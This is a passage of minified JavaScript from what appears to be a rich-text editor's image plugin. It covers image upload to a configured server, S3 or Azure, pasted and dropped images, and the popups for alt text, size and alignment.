t=atob(o.result.split(",")[1]),a=[],n=0;n<t.length;n++)a.push(t.charCodeAt(n));e=window.URL.createObjectURL(new Blob([new Uint8Array(a)],{type:r.type})),i&&i.data("fr-old-src",i.attr("src")),w.image.insert(e,!1,null,i)}else w.image.insert(e,null,null,w.image.get())},F(),o.readAsDataURL(r)}(n,t||y),!1;if(n.name||(n.name=(new Date).getTime()+"."+(n.type||"image/jpeg").replace(/image\//g,"")),n.size>w.opts.imageMaxSize)return I(T),!1;if(w.opts.imageAllowedTypes.indexOf(n.type.replace(/image\//g,""))<0)return I(k),!1;if(w.drag_support.formdata&&(a=w.drag_support.formdata?new FormData:null),a){var r;if(!1!==w.opts.imageUploadToS3)for(r in a.append("key",w.opts.imageUploadToS3.keyStart+(new Date).getTime()+"-"+(n.name||"untitled")),a.append("success_action_status","201"),a.append("X-Requested-With","xhr"),a.append("Content-Type",n.type),w.opts.imageUploadToS3.params)w.opts.imageUploadToS3.params.hasOwnProperty(r)&&a.append(r,w.opts.imageUploadToS3.params[r]);for(r in w.opts.imageUploadParams)w.opts.imageUploadParams.hasOwnProperty(r)&&a.append(r,w.opts.imageUploadParams[r]);a.append(w.opts.imageUploadParam,n,n.name);var i,o,s=w.opts.imageUploadURL,l=w.opts.imageUploadMethod;w.opts.imageUploadToS3&&(s=w.opts.imageUploadToS3.uploadURL?w.opts.imageUploadToS3.uploadURL:"https://".concat(w.opts.imageUploadToS3.region,".amazonaws.com/").concat(w.opts.imageUploadToS3.bucket)),w.opts.imageUploadToAzure&&(i=s=w.opts.imageUploadToAzure.uploadURL?"".concat(w.opts.imageUploadToAzure.uploadURL,"/").concat(n.name):encodeURI("https://".concat(w.opts.imageUploadToAzure.account,".blob.core.windows.net/").concat(w.opts.imageUploadToAzure.container,"/").concat(n.name)),w.opts.imageUploadToAzure.SASToken&&(s+=w.opts.imageUploadToAzure.SASToken),l="PUT");var c=w.core.getXHR(s,l);if(w.opts.imageUploadToAzure){var d=(new Date).toUTCString();if(!w.opts.imageUploadToAzure.SASToken&&w.opts.imageUploadToAzure.accessKey){var f=w.opts.imageUploadToAzure.account,p=w.opts.imageUploadToAzure.container;if(w.opts.imageUploadToAzure.uploadURL){var u=w.opts.imageUploadToAzure.uploadURL.split("/");p=u.pop(),f=u.pop().split(".")[0]}var g="x-ms-blob-type:BlockBlob\nx-ms-date:".concat(d,"\nx-ms-version:2019-07-07"),h=encodeURI("/"+f+"/"+p+"/"+n.name),m=l+"\n\n\n"+n.size+"\n\n"+n.type+"\n\n\n\n\n\n\n"+g+"\n"+h,v=w.cryptoJSPlugin.cryptoJS.HmacSHA256(m,w.cryptoJSPlugin.cryptoJS.enc.Base64.parse(w.opts.imageUploadToAzure.accessKey)).toString(w.cryptoJSPlugin.cryptoJS.enc.Base64),b="SharedKey "+f+":"+v;o=v,c.setRequestHeader("Authorization",b)}for(r in c.setRequestHeader("x-ms-version","2019-07-07"),c.setRequestHeader("x-ms-date",d),c.setRequestHeader("Content-Type",n.type),c.setRequestHeader("x-ms-blob-type","BlockBlob"),w.opts.imageUploadParams)w.opts.imageUploadParams.hasOwnProperty(r)&&c.setRequestHeader(r,w.opts.imageUploadParams[r]);for(r in w.opts.imageUploadToAzure.params)w.opts.imageUploadToAzure.params.hasOwnProperty(r)&&c.setRequestHeader(r,w.opts.imageUploadToAzure.params[r])}!function _(t,a,n,r,i,o){function s(){var e=A(this);e.off("load"),e.addClass("fr-uploading"),e.next().is("br")&&e.next().remove(),w.placeholder.refresh(),P(e),S(),F(),w.edit.off(),t.onload=function(){H.call(t,e,i,o)},t.onerror=$,t.upload.onprogress=z,t.onabort=W,A(e.off("abortUpload")).on("abortUpload",function(){4!=t.readyState&&(t.abort(),r?(r.attr("src",r.data("fr-old-src")),r.removeClass("fr-uploading")):e.remove(),pe(!0))}),t.send(w.opts.imageUploadToAzure?n:a)}var l=new FileReader;l.onload=function(){var e=l.result;if(l.result.indexOf("svg+xml")<0){for(var t=atob(l.result.split(",")[1]),a=[],n=0;n<t.length;n++)a.push(t.charCodeAt(n));e=window.URL.createObjectURL(new Blob([new Uint8Array(a)],{type:"image/jpeg"}))}r?(r.on("load",s),r.on("error",function(){s(),A(this).off("error")}),w.edit.on(),w.undo.saveStep(),r.data("fr-old-src",r.attr("src")),r.attr("src",e)):K(e,null,s)},l.readAsDataURL(n)}(c,a,n,t||y,i,o)}}}function V(e){if(e.is("img")&&0<e.parents(".fr-img-caption").length)return e.parents(".fr-img-caption")}function Y(e){var t=e.originalEvent.dataTransfer;if(t&&t.files&&t.files.length){var a=t.files[0];if(a&&a.type&&-1!==a.type.indexOf("image")&&0<=w.opts.imageAllowedTypes.indexOf(a.type.replace(/image\//g,""))){if(!w.opts.imageUpload)return e.preventDefault(),e.stopPropagation(),!1;w.markers.remove(),w.markers.insertAtPoint(e.originalEvent),w.$el.find(".fr-marker").replaceWith(St.MARKERS),0===w.$el.find(".fr-marker").length&&w.selection.setAtEnd(w.el),w.popups.hideAll();var n=w.popups.get("image.insert");n||(n=j()),w.popups.setContainer("image.insert",w.$sc);var r=e.originalEvent.pageX,i=e.originalEvent.pageY;if(w.opts.iframe){var o=w.helpers.getPX(w.$wp.find(".fr-iframe").css("padding-top")),s=w.helpers.getPX(w.$wp.find(".fr-iframe").css("padding-left"));i+=w.$iframe.offset().top+o,r+=w.$iframe.offset().left+s}return w.popups.show("image.insert",r,i),F(),0<=w.opts.imageAllowedTypes.indexOf(a.type.replace(/image\//g,""))?(pe(!0),G(t.files)):I(k),e.preventDefault(),e.stopPropagation(),!1}}}function j(e){if(e)return w.popups.onRefresh("image.insert",h),w.popups.onHide("image.insert",m),!0;var t,a,n="";w.opts.imageUpload||-1===w.opts.imageInsertButtons.indexOf("imageUpload")||w.opts.imageInsertButtons.splice(w.opts.imageInsertButtons.indexOf("imageUpload"),1);var r=w.button.buildList(w.opts.imageInsertButtons);""!==r&&(n='<div class="fr-buttons fr-tabs">'.concat(r,"</div>"));var i=w.opts.imageInsertButtons.indexOf("imageUpload"),o=w.opts.imageInsertButtons.indexOf("imageByURL"),s="";0<=i&&(t=" fr-active",0<=o&&o<i&&(t=""),s='<div class="fr-image-upload-layer'.concat(t,' fr-layer" id="fr-image-upload-layer-').concat(w.id,'"><strong>').concat(w.language.translate("Drop image"),"</strong><br>(").concat(w.language.translate("or click"),')<div class="fr-form"><input type="file" accept="image/').concat(w.opts.imageAllowedTypes.join(", image/").toLowerCase(),'" tabIndex="-1" aria-labelledby="fr-image-upload-layer-').concat(w.id,'" role="button"></div></div>'));var l="";0<=o&&(t=" fr-active",0<=i&&i<o&&(t=""),l='<div class="fr-image-by-url-layer'.concat(t,' fr-layer" id="fr-image-by-url-layer-').concat(w.id,'"><div class="fr-input-line"><input id="fr-image-by-url-layer-text-').concat(w.id,'" type="text" placeholder="http://" tabIndex="1" aria-required="true"></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="imageInsertByURL" tabIndex="2" role="button">').concat(w.language.translate("Insert"),"</button></div></div>"));var c={buttons:n,upload_layer:s,by_url_layer:l,progress_bar:'<div class="fr-image-progress-bar-layer fr-layer"><h3 tabIndex="-1" class="fr-message">Uploading</h3><div class="fr-loader"><span class="fr-progress"></span></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-dismiss" data-cmd="imageDismissError" tabIndex="2" role="button">OK</button></div></div>'};return 1<=w.opts.imageInsertButtons.length&&(a=w.popups.create("image.insert",c)),w.$wp&&w.events.$on(w.$wp,"scroll",function(){y&&w.popups.isVisible("image.insert")&&Ee()}),function d(n){w.events.$on(n,"dragover dragenter",".fr-image-upload-layer",function(e){return A(this).addClass("fr-drop"),(w.browser.msie||w.browser.edge)&&e.preventDefault(),!1},!0),w.events.$on(n,"dragleave dragend",".fr-image-upload-layer",function(e){return A(this).removeClass("fr-drop"),(w.browser.msie||w.browser.edge)&&e.preventDefault(),!1},!0),w.events.$on(n,"drop",".fr-image-upload-layer",function(e){e.preventDefault(),e.stopPropagation(),A(this).removeClass("fr-drop");var t=e.originalEvent.dataTransfer;if(t&&t.files){var a=n.data("instance")||w;a.events.disableBlur(),a.image.upload(t.files),a.events.enableBlur()}},!0),w.helpers.isIOS()&&w.events.$on(n,"touchstart",'.fr-image-upload-layer input[type="file"]',function(){A(this).trigger("click")},!0),w.events.$on(n,"change",'.fr-image-upload-layer input[type="file"]',function(){if(this.files){var e=n.data("instance")||w;e.events.disableBlur(),n.find("input:focus").blur(),e.events.enableBlur(),e.image.upload(this.files,y)}A(this).val("")},!0)}(a),a}function q(){y&&w.popups.get("image.alt").find("input").val(y.attr("alt")||"").trigger("change")}function X(){var e=w.popups.get("image.alt");e||(e=Z()),M(),w.popups.refresh("image.alt"),w.popups.setContainer("image.alt",w.$sc);var t=ye(),a=t.outerWidth()/2;Ae()&&(t=t.find(".fr-img-wrap"),a=y.outerWidth()/2);var n=t.offset().left+a,r=t.offset().top+t.outerHeight(),i=t.outerHeight();w.opts.iframe&&Ae()&&(i=y?y.outerHeight():0),w.popups.show("image.alt",n,r,i,!0)}function Z(e){if(e)return w.popups.onRefresh("image.alt",q),!0;var t={buttons:'<div class="fr-buttons fr-tabs">'.concat(w.button.buildList(w.opts.imageAltButtons),"</div>"),alt_layer:'<div class="fr-image-alt-layer fr-layer fr-active" id="fr-image-alt-layer-'.concat(w.id,'"><div class="fr-input-line"><input id="fr-image-alt-layer-text-').concat(w.id,'" type="text" placeholder="').concat(w.language.translate("Alternative Text"),'" tabIndex="1"></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="imageSetAlt" tabIndex="2" role="button">').concat(w.language.translate("Update"),"</button></div></div>")},a=w.popups.create("image.alt",t);return w.$wp&&w.events.$on(w.$wp,"scroll.image-alt",function(){y&&w.popups.isVisible("image.alt")&&X()}),a}function Q(){var e=w.popups.get("image.size"),t=y.get(0).style.height?y.get(0).style.height:"auto",a=y.get(0).style.width?y.get(0).style.width:"auto";if(y)if(Ae()){var n=y.parent();n.get(0).style.width||(n=y.parent().parent()),e.find('input[name="width"]').val(a).trigger("change"),e.find('input[name="height"]').val(t).trigger("change")}else e.find('input[name="width"]').val(a).trigger("change"),e.find('input[name="height"]').val(t).trigger("change")}function J(){var e=w.popups.get("image.size");e||(e=ee()),M(),w.popups.refresh("image.size"),w.popups.setContainer("image.size",w.$sc);var t=ye(),a=t.outerWidth()/2;Ae()&&(t=t.find(".fr-img-wrap"),a=y.outerWidth()/2);var n=t.outerHeight();w.opts.iframe&&Ae()&&(n=y?y.outerHeight():0);var r=t.offset().left+a,i=t.offset().top+t.outerHeight();w.popups.show("image.size",r,i,n,!0)}function ee(e){if(e)return w.popups.onRefresh("image.size",Q),!0;var t={buttons:'<div class="fr-buttons fr-tabs">'.concat(w.button.buildList(w.opts.imageSizeButtons),"</div>"),size_layer:'<div class="fr-image-size-layer fr-layer fr-active" id="fr-image-size-layer-'.concat(w.id,'"><div class="fr-image-group"><div class="fr-input-line"><input id="fr-image-size-layer-width-\'').concat(w.id,'" type="text" name="width" placeholder="').concat(w.language.translate("Width"),'" tabIndex="1"></div><div class="fr-input-line"><input id="fr-image-size-layer-height').concat(w.id,'" type="text" name="height" placeholder="').concat(w.language.translate("Height"),'" tabIndex="1"></div></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="imageSetSize" tabIndex="2" role="button">').concat(w.language.translate("Update"),"</button></div></div>")},a=w.popups.create("image.size",t);return w.$wp&&w.events.$on(w.$wp,"scroll.image-size",function(){y&&w.popups.isVisible("image.size")&&J()}),a}function te(e,t,a,n){return e.pageX=t,R.call(this,e),e.pageX=e.pageX+a*Math.floor(Math.pow(1.1,n)),L.call(this,e),x.call(this,e),++n}function ae(e){if(e=e||ye(),w.opts.trackChangesEnabled&&!w.helpers.isMobile()&&(!e[0].parentNode||"SPAN"!==e[0].parentNode.tagName||!e[0].parentNode.hasAttribute("data-tracking")))return w.track_changes.removeSpecialItem(e),w.popups.hideAll(),void pe(!0);e&&!1!==w.events.trigger("image.beforeRemove",[e])&&(w.popups.hideAll(),_e(),pe(!0),w.undo.canDo()||w.undo.saveStep(),e.get(0)==w.el?e.removeAttr("src"):(e.get(0).parentNode&&"A"==e.get(0).parentNode.tagName?(w.selection.setBefore(e.get(0).parentNode)||w.selection.setAfter(e.get(0).parentNode)||e.parent().after(St.MARKERS),A(e.get(0).parentNode).remove()):(w.selection.setBefore(e.get(0))||w.selection.setAfter(e.get(0))||e.after(St.MARKERS),e.remove()),w.html.fillEmptyBlocks(),w.selection.restore()),w.undo.saveStep())}function ne(e){var t=e.which,a=document.getElementsByClassName("fs-transforms-container"),n=!1;if(a&&a.length){var r,i=He(a);try{for(i.s();!(r=i.n()).done;){var o=r.value;o.childNodes&&o.childNodes.length&&(n=!0)}}catch(c){i.e(c)}finally{i.f()}}if(n&&(y=null),y&&(t==St.KEYCODE.BACKSPACE||t==St.KEYCODE.DELETE))return e.preventDefault(),e.stopPropagation(),ae(),!1;if(y&&t==St.KEYCODE.ESC){var s=y;return pe(!0),w.selection.setAfter(s.get(0)),w.selection.restore(),e.preventDefault(),!1}if(!y||t!=St.KEYCODE.ARROW_LEFT&&t!=St.KEYCODE.ARROW_RIGHT)return y&&t===St.KEYCODE.TAB?(e.preventDefault(),e.stopPropagation(),pe(!0),!1):y&&t!=St.KEYCODE.F10&&!w.keys.isBrowserAction(e)?(e.preventDefault(),e.stopPropagation(),!1):void 0;var l=y.get(0);return pe(!0),t==St.KEYCODE.ARROW_LEFT?w.selection.setBefore(l):w.selection.setAfter(l),w.selection.restore(),e.preventDefault(),!1}function re(e){if(e&&"IMG"==e.tagName){if(w.node.hasClass(e,"fr-uploading")||w.node.hasClass(e,"fr-error")?e.parentNode.removeChild(e):w.node.hasClass(e,"fr-draggable")&&e.classList.remove("fr-draggable"),e.parentNode&&e.parentNode.parentNode&&w.node.hasClass(e.parentNode.parentNode,"fr-img-caption")){var t=e.parentNode.parentNode;t.removeAttribute("contenteditable"),t.removeAttribute("draggable"),t.classList.remove("fr-draggable");var a=e.nextSibling;a&&a.removeAttribute("contenteditable")}}else if(e&&e.nodeType==Node.ELEMENT_NODE)for(var n=e.querySelectorAll("img.fr-uploading, img.fr-error, img.fr-draggable"),r=0;r<n.length;r++)re(n[r])}function ie(e){if(!1===w.events.trigger("image.beforePasteUpload",[e]))return A(e).removeAttr("data-fr-image-pasted"),!1;y=A(e),S(),i(),F(),y.on("load",function(){var t=[];S(),A(w.popups.get("image.insert").get(0)).find("div.fr-active.fr-error").length<1&&F(),A(this).data("events").filter(function(e){"load"===e[0]&&t.push(e)}),t.length<=1&&A(this).off("load")});for(var t=A(e).attr("src").split(","),a=atob(t[1]),n=[],r=0;r<a.length;r++)n.push(a.charCodeAt(r));G([w.browser.safari&&!w.opts.imageUploadURL?new Blob([new Uint8Array(n)],{type:t[0].replace(/data\:/g,"")}):new Blob([new Uint8Array(n)],{type:t[0].replace(/data\:/g,"").replace(/;base64/g,"")})],y)}function oe(){w.opts.imagePaste?w.$el.find("img[data-fr-image-pasted]").each(function(e,a){if(w.opts.imagePasteProcess){var t=w.opts.imageDefaultWidth;t&&"auto"!=t&&(t+=w.opts.imageResizeWithPercent?"%":"px"),A(a).css("width",t).removeClass("fr-dii fr-dib fr-fir fr-fil"),me(A(a),w.opts.imageDefaultDisplay,w.opts.imageDefaultAlign)}if(0===a.src.indexOf("data:"))ie(a);else if(0===a.src.indexOf("blob:")||0===a.src.indexOf("http")&&w.opts.imageUploadRemoteUrls&&w.opts.imageCORSProxy){var n=new Image;n.crossOrigin="Anonymous",n.onload=function(){var e=w.o_doc.createElement("CANVAS"),t=e.getContext("2d");e.height=this.naturalHeight,e.width=this.naturalWidth,t.drawImage(this,0,0),setTimeout(function(){ie(a)},0),a.src=e.toDataURL(St.IMAGE_TYPE)},w.browser.msie&&St.IMAGE_ALLOW_REGEX.test(a.src)&&(St.IMAGE_TYPE="image/"+a.src.split(St.IMAGE_ALLOW_REGEX)[1]),n.src=(0===a.src.indexOf("blob:")?"":"".concat(w.opts.imageCORSProxy,"/"))+a.src,0!==a.src.indexOf("blob:")&&w.undo.saveStep()}else 0!==a.src.indexOf("http")||0===a.src.indexOf("https://mail.google.com/mail")?(w.selection.save(),A(a).remove(),w.selection.restore()):A(a).removeAttr("data-fr-image-pasted")}):w.$el.find("img[data-fr-image-pasted]").remove()}function se(e){var t=e.target.result,a=w.opts.imageDefaultWidth;a&&"auto"!=a&&(a+=w.opts.imageResizeWithPercent?"%":"px"),w.undo.saveStep(),w.html.insert('<img data-fr-image-pasted="true" src="'.concat(t,'"').concat(a?' style="width: '.concat(a,';"'):"",">"));var n=w.$el.find('img[data-fr-image-pasted="true"]');n&&me(n,w.opts.imageDefaultDisplay,w.opts.imageDefaultAlign),w.events.trigger("paste.after")}function le(e,t){var a=new FileReader;a.onload=function n(e){var t=w.opts.imageDefaultWidth;t&&"auto"!=t&&(t+=w.opts.imageResizeWithPercent?"%":"px"),w.html.insert('<img data-fr-image-pasted="true" src="'.concat(e,'"').concat(t?' style="width: '.concat(t,';"'):"",">"));var a=w.$el.find('img[data-fr-image-pasted="true"]');a&&me(a,w.opts.imageDefaultDisplay,w.opts.imageDefaultAlign),w.events.trigger("paste.after")}(t),a.readAsDataURL(e,t)}function ce(e,t){var a=t||e&&e.clipboardData;if(a&&a.items){var n=(a||window.clipboardData).getData("text/html")||"";w.browser.mozilla&&(""===n||/<!--StartFragment-->([ ])<!--EndFragment-->/.test(n))&&(n=w.win.localStorage.getItem("fr-copied-html"));var r=(new DOMParser).parseFromString(n,"text/html").querySelector("img");if(r&&!w.opts.imageUploadURL){if(!r)return!1;var i=r.src,o=null;if(a.types&&-1!=[].indexOf.call(a.types,"text/rtf")||a.getData("text/rtf"))o=a.items[0].getAsFile();else for(var s=0;s<a.items.length;s++)if(o=a.items[s].getAsFile()){St.IMAGE_TYPE=o.type;break}if(o)return le(o,i),!1}else{var l=null;if(a.types&&-1!=[].indexOf.call(a.types,"text/rtf")||a.getData("text/rtf"))l=a.items[0].getAsFile();else for(var c=0;c<a.items.length&&!(l=a.items[c].getAsFile());c++);if(l)return function d(e){var t=new FileReader;t.onload=se,t.readAsDataURL(e)}(l),!1}}}function de(e){return e=e.replace(/<img /gi,'<img data-fr-image-pasted="true" ')}function fe(e){if("false"==A(this).parents("[contenteditable]").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;if(e&&"touchend"==e.type&&a)return!0;if(e&&w.edit.isDisabled())return e.stopPropagation(),e.preventDefault(),!1;for(var t=0;t<St.INSTANCES.length;t++)St.INSTANCES[t]!=w&&St.INSTANCES[t].events.trigger("image.hideResizer");w.toolbar.disable(),e&&(e.stopPropagation(),e.preventDefault()),w.helpers.isMobile()&&(w.events.disableBlur(),w.$el.blur(),w.events.enableBlur()),w.opts.iframe&&w.size.syncIframe(),y=A(this),_e(),S(),i(),w.browser.msie?(w.popups.areVisible()&&w.events.disableBlur(),w.win.getSelection&&(w.win.getSelection().removeAllRanges(),w.win.getSelection().addRange(w.doc.createRange()))):w.selection.clear(),w.helpers.isIOS()&&(w.events.disableBlur(),w.$el.blur()),w.button.bulkRefresh(),w.events.trigger("video.hideResizer")}function pe(e){y&&(function t(){return ue}()||!0===e)&&(w.toolbar.enable(),c.removeClass("fr-active"),w.popups.hideAll(),y=null,he(),d=null,f&&f.hide())}r[n]="Image cannot be loaded from the passed link.",r[p]="No link in upload response.",r[u]="Error during file upload.",r[g]="Parsing response failed.",r[T]="File is too large.",r[k]="Image file type is invalid.",r[7]="Files can be uploaded only to same domain in IE 8 and IE 9.";var ue=!(r[8]="Image file is corrupted.");function ge(){ue=!0}function he(){ue=!1}function me(e,t,a){if(!w.opts.htmlUntouched&&w.opts.useClasses)e.removeClass("fr-fil fr-fir fr-dib fr-dii"),a&&e.addClass("fr-fi".concat(a[0])),t&&e.addClass("fr-di".concat(t[0]));else if("inline"==t)if(e.css({display:"inline-block",verticalAlign:"bottom",margin:w.opts.imageDefaultMargin}),"center"==a)e.css({"float":"none",marginBottom:"",marginTop:"",maxWidth:"calc(100% - ".concat(2*w.opts.imageDefaultMargin,"px)"),textAlign:"center"});else if("left"==a){var n="0px",r=e.parent("span.fr-img-caption").get(0);r||(r=e.parent().get(0)),r&&"li"===r.tagName.toLowerCase()?n="20px":r&&"p"===r.tagName.toLowerCase()&&(n="15px"),e.css({"float":"left",marginLeft:0,maxWidth:"calc(100% - ".concat(w.opts.imageDefaultMargin,"px)"),textAlign:"left",marginRight:n})}else e.css({"float":"right",marginRight:0,maxWidth:"calc(100% - ".concat(w.opts.imageDefaultMargin,"px)"),textAlign:"right"});else"block"==t&&(e.css({display:"block","float":"none",verticalAlign:"top",margin:"".concat(w.opts.imageDefaultMargin,"px auto"),textAlign:"center"}),"left"==a?e.css({marginLeft:0,textAlign:"left"}):"right"==a&&e.css({marginRight:0,textAlign:"right"}))}function ve(e){if(void 0===e&&(e=ye()),e){if(e.hasClass("fr-fil"))return"left";if(e.hasClass("fr-fir"))return"right";if(e.hasClass("fr-dib")||e.hasClass("fr-dii"))return"center";var t=e.css("float");if(e.css("float","none"),"block"==e.css("display")){if(e.css("float",""),e.css("float")!=t&&e.css("float",t),0===parseInt(e.css("margin-left"),10))return"left";if(0===parseInt(e.css("margin-right"),10))return"right"}else{if(e.css("float",""),e.css("float")!=t&&e.css("float",t),"left"==e.css("float"))return"left";if("right"==e.css("float"))return"right"}}return"center"}function be(e){void 0===e&&(e=ye());var t=e.css("float");return e.css("float","none"),"block"==e.css("display")?(e.css("float",""),e.css("float")!=t&&e.css("float",t),"block"):(e.css("float",""),e.css("float")!=t&&e.css("float",t),"inline")}function Ee(){var e=w.popups.get("image.insert");e||(e=j()),w.popups.isVisible("image.insert")||(M(),w.popups.refresh("image.insert"),w.popups.setContainer("image.insert",w.$sc));var t=ye(),a=t&&t.outerWidth()/2;Ae()&&(t=t.find(".fr-img-wrap"),a=y.outerWidth()/2);var n,r=t.offset().left+a,i=t.outerHeight(!0);w.opts.iframe&&Ae()&&(i=y?y.outerHeight():0),n=0<w.$el.find("img[data-fr-image-pasted]").length?w.$wp.offset().top-w.helpers.scrollTop()+w.$wp.height():t.offset().top+t.outerHeight(),w.popups.show("image.insert",r,n,i,!0)}function _e(){if(y){w.events.disableBlur(),w.selection.clear();var e=w.doc.createRange();e.selectNode(y.get(0)),w.browser.msie&&e.collapse(!0),w.selection.get().addRange(e),w.events.enableBlur()}}function we(){return y}function ye(){return Ae()?y.parents(".fr-img-caption").first():y}function Ae(){return!!y&&0<y.parents(".fr-img-caption").length}function Ce(e){for(var t=document.createDocumentFragment();e.firstChild;){var a=e.removeChild(e.firstChild);t.appendChild(a)}e.parentNode.replaceChild(t,e)}return{_init:function Te(){var i;(function e(){w.events.$on(w.$el,w._mousedown,"IMG"==w.el.tagName?null:'img:not([contenteditable="false"])',function(e){if("false"==A(this).parents("contenteditable").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;w.helpers.isMobile()||w.selection.clear(),t=!0,w.popups.areVisible()&&w.events.disableBlur(),w.browser.msie&&(w.events.disableBlur(),w.$el.attr("contenteditable",!1)),w.draggable||"touchstart"==e.type||e.preventDefault(),e.stopPropagation()}),w.events.$on(w.$el,w._mousedown,".fr-img-caption .fr-inner",function(e){w.core.hasFocus()||w.events.focus(),e.stopPropagation()}),w.events.$on(w.$el,"paste",".fr-img-caption .fr-inner",function(e){!0===w.opts.toolbarInline&&(w.toolbar.hide(),e.stopPropagation())}),w.events.$on(w.$el,w._mousedown,'img:not([contenteditable="false"])',function(e){var t=this;w.browser.mozilla&&3==e.which&&(A(this).attr("contenteditable",!1),setTimeout(function(){A(t).removeAttr("contenteditable")},200))}),w.events.$on(w.$el,w._mouseup,"IMG"==w.el.tagName?null:'img:not([contenteditable="false"])',function(e){if("false"==A(this).parents("contenteditable").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;t&&(t=!1,e.stopPropagation(),w.browser.msie&&(w.$el.attr("contenteditable",!0),w.events.enableBlur()))}),w.events.on("keyup",function(e){if(e.shiftKey&&""===w.selection.text().replace(/\n/g,"")&&w.keys.isArrow(e.which)){var t=w.selection.element(),a=w.selection.endElement();t&&"IMG"==t.tagName?P(A(t)):a&&"IMG"==a.tagName&&P(A(a))}},!0),w.events.on("drop",Y),w.events.on("element.beforeDrop",V),w.events.on("mousedown window.mousedown",ge),w.events.on("window.touchmove",he),w.events.on("mouseup window.mouseup",function(){if(y&&!w.helpers.isMobile())return pe(),!1;he()}),w.events.on("touchstart touchend",function(){if(y&&w.helpers.isMobile())return pe(),!1;he()}),w.events.on("commands.mousedown",function(e){0<e.parents(".fr-toolbar").length&&pe()}),w.events.on("image.resizeEnd",function(){w.opts.iframe&&w.size.syncIframe()}),w.events.on("blur image.hideResizer commands.undo commands.redo element.dropped",function(){pe(!(t=!1))}),w.events.on("modals.hide",function(){y&&(_e(),w.selection.clear())}),w.events.on("image.resizeEnd",function(){w.win.getSelection&&P(y)}),w.events.on("filestack-init",function(){j()}),w.events.on("filestack-init-edit",function(){for(var e=w.$(".fr-popup"),t=e.length-1;0<=t;t--)e[t].parentElement.removeChild(e[t]);O()}),w.opts.imageAddNewLine&&w.events.on("image.inserted",function(e){var t=e.get(0);for(t.nextSibling&&"BR"===t.nextSibling.tagName&&(t=t.nextSibling);t&&!w.node.isElement(t);)t=w.node.isLastSibling(t)?t.parentNode:null;w.node.isElement(t)&&(w.opts.enter===St.ENTER_BR?e.after("<br>"):A(w.node.blockParent(e.get(0))).after("<".concat(w.html.defaultTag(),"><br></").concat(w.html.defaultTag(),">")))})})(),"IMG"==w.el.tagName&&w.$el.addClass("fr-view"),w.events.$on(w.$el,w.helpers.isMobile()&&!w.helpers.isWindowsPhone()?"touchend":"click","IMG"==w.el.tagName?null:'img:not([contenteditable="false"])',fe),w.helpers.isMobile()&&(w.events.$on(w.$el,"touchstart","IMG"==w.el.tagName?null:'img:not([contenteditable="false"])',function(){a=!1}),w.events.$on(w.$el,"touchmove",function(){a=!0})),w.$wp?(w.events.on("window.keydown keydown",ne,!0),w.events.on("keyup",function(e){if(y&&e.which==St.KEYCODE.ENTER)return!1},!0),w.events.$on(w.$el,"keydown",function(){var e=w.selection.element();(e.nodeType===Node.TEXT_NODE||"BR"==e.tagName&&w.node.isLastSibling(e))&&(e=e.parentNode),w.node.hasClass(e,"fr-inner")||(w.node.hasClass(e,"fr-img-caption")||(e=A(e).parents(".fr-img-caption").get(0)),w.node.hasClass(e,"fr-img-caption")&&(w.opts.trackChangesEnabled||A(e).after(St.INVISIBLE_SPACE+St.MARKERS),w.selection.restore()))})):w.events.$on(w.$win,"keydown",ne),w.events.on("toolbar.esc",function(){if(y){if(w.$wp)w.events.disableBlur(),w.events.focus();else{var e=y;pe(!0),w.selection.setAfter(e.get(0)),w.selection.restore()}return!1}},!0),w.events.on("toolbar.focusEditor",function(){if(y)return!1},!0),w.events.on("window.cut window.copy",function(e){if(y&&w.popups.isVisible("image.edit")&&!w.popups.get("image.edit").find(":focus").length){var t=ye();Ae()?(t.before(St.START_MARKER),t.after(St.END_MARKER),w.selection.restore(),w.paste.saveCopiedText(t.get(0).outerHTML,t.text())):(_e(),w.paste.saveCopiedText(y.get(0).outerHTML,y.attr("alt"))),"copy"==e.type?setTimeout(function(){P(y)}):(pe(!0),w.undo.saveStep(),setTimeout(function(){w.undo.saveStep()},0))}},!0),w.browser.msie&&w.events.on("keydown",function(e){if(!w.selection.isCollapsed()||!y)return!0;var t=e.which;t==St.KEYCODE.C&&w.keys.ctrlKey(e)?w.events.trigger("window.copy"):t==St.KEYCODE.X&&w.keys.ctrlKey(e)&&w.events.trigger("window.cut")}),w.events.$on(A(w.o_win),"keydown",function(e){if(w.opts.pluginsEnabled.includes("filestack")&&w.opts.iframe){var t=document.getElementsByClassName("fs-transforms-container"),a=!1;if(t&&t.length){var n,r=He(t);try{for(r.s();!(n=r.n()).done;){var i=n.value;i.childNodes&&i.childNodes.length&&(a=!0)}}catch(s){r.e(s)}finally{r.f()}}a&&(y=null)}var o=e.which;if(y&&o==St.KEYCODE.BACKSPACE)return e.preventDefault(),!1}),w.events.$on(w.$win,"keydown",function(e){var t=e.which;y&&y.hasClass("fr-uploading")&&t==St.KEYCODE.ESC&&y.trigger("abortUpload")}),w.events.on("destroy",function(){y&&y.hasClass("fr-uploading")&&y.trigger("abortUpload")}),w.events.on("paste.before",ce),w.events.on("paste.beforeCleanup",de),w.events.on("paste.after",oe),w.events.on("html.set",v),w.events.on("html.inserted",v),v(),w.events.on("destroy",function(){s=[]}),w.events.on("html.processGet",re),w.opts.imageOutputSize&&w.events.on("html.beforeGet",function(){i=w.el.querySelectorAll("img");for(var e=0;e<i.length;e++){var t=parseFloat(A(i[e]).css("padding-left"))+parseFloat(A(i[e]).css("padding-right")),a=A(i[e]).width()-t,n=i[e].style.width||a,r=i[e].style.height||A(i[e]).height();n&&i[e].setAttribute("width","".concat(n).replace(/px/,"")),r&&i[e].setAttribute("height","".concat(r).replace(/px/,""))}}),w.opts.iframe&&w.events.on("image.loaded",w.size.syncIframe),w.$wp&&(b(),w.events.on("contentChanged",b)),w.events.$on(A(w.o_win),"orientationchange.image",function(){setTimeout(function(){y&&P(y)},100)}),O(!0),j(!0),ee(!0),Z(!0),w.events.on("node.remove",function(e){if("IMG"==e.get(0).tagName)return ae(e),!1})},showInsertPopup:function ke(){var 